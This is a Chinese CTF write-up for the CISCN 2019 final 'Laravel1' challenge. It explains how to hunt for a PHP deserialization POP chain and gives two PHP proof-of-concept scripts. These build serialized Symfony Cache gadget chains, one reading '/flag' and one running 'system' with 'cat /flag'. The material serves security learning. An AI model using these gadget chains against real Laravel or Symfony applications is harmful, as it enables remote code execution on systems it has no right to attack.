刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1

刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1

题目复现链接:https://buuoj.cn/challenges
参考链接:国赛决赛laravel的另一种不完美做法

解题过程

第一次分析这么大量的代码,中途看睡着了好几次,自己搞不出来,看wp跟着走算是弄懂。
首先题目首页给出了提示,告诉我们利用点就是反序列化,问题是要找到pop链。

思路:

  • 1、首先全局搜索__destruct这样的魔术方法
  • 2、看看本类中有没有可控的命令执行命令,如果没有就找有没有那个方法可以调用其他类
  • 3、然后全局搜索能利用的可控函数

看起来思路很简单,但是操作起来是真的头痛,先贴上两个poc,以后这种题接触多了再补。。

<?php
namespace Symfony\Component\Cache{

    final class CacheItem{

    }
}
namespace Symfony\Component\Cache\Adapter{

    use Symfony\Component\Cache\CacheItem;
    class PhpArrayAdapter{
        private $file;
        public function __construct()
        {
            $this->file = '/flag';
        }
    }

    class TagAwareAdapter{
        private $deferred = [];
        private $pool;

        public function __construct()
        {
            $this->deferred = array('flight' => new CacheItem());
            $this->pool = new PhpArrayAdapter();
        }
    }
}

namespace {

    use Symfony\Component\Cache\Adapter\TagAwareAdapter;

    $obj = new TagAwareAdapter();
    echo urlencode(serialize($obj));
}
<?php

namespace Symfony\Component\Cache\Adapter;

class TagAwareAdapter{
    public $deferred = array();
    function __construct($x){
        $this->pool = $x;
    }
}

class ProxyAdapter{
    protected $setInnerItem = 'system';
}

namespace Symfony\Component\Cache;

class CacheItem{
    protected $innerItem = 'cat /flag';
}

$a = new \Symfony\Component\Cache\Adapter\TagAwareAdapter(new \Symfony\Component\Cache\Adapter\ProxyAdapter());
$a->deferred = array('aa'=>new \Symfony\Component\Cache\CacheItem);
echo urlencode(serialize($a));

猜你喜欢

转载自www.cnblogs.com/20175211lyz/p/11508348.html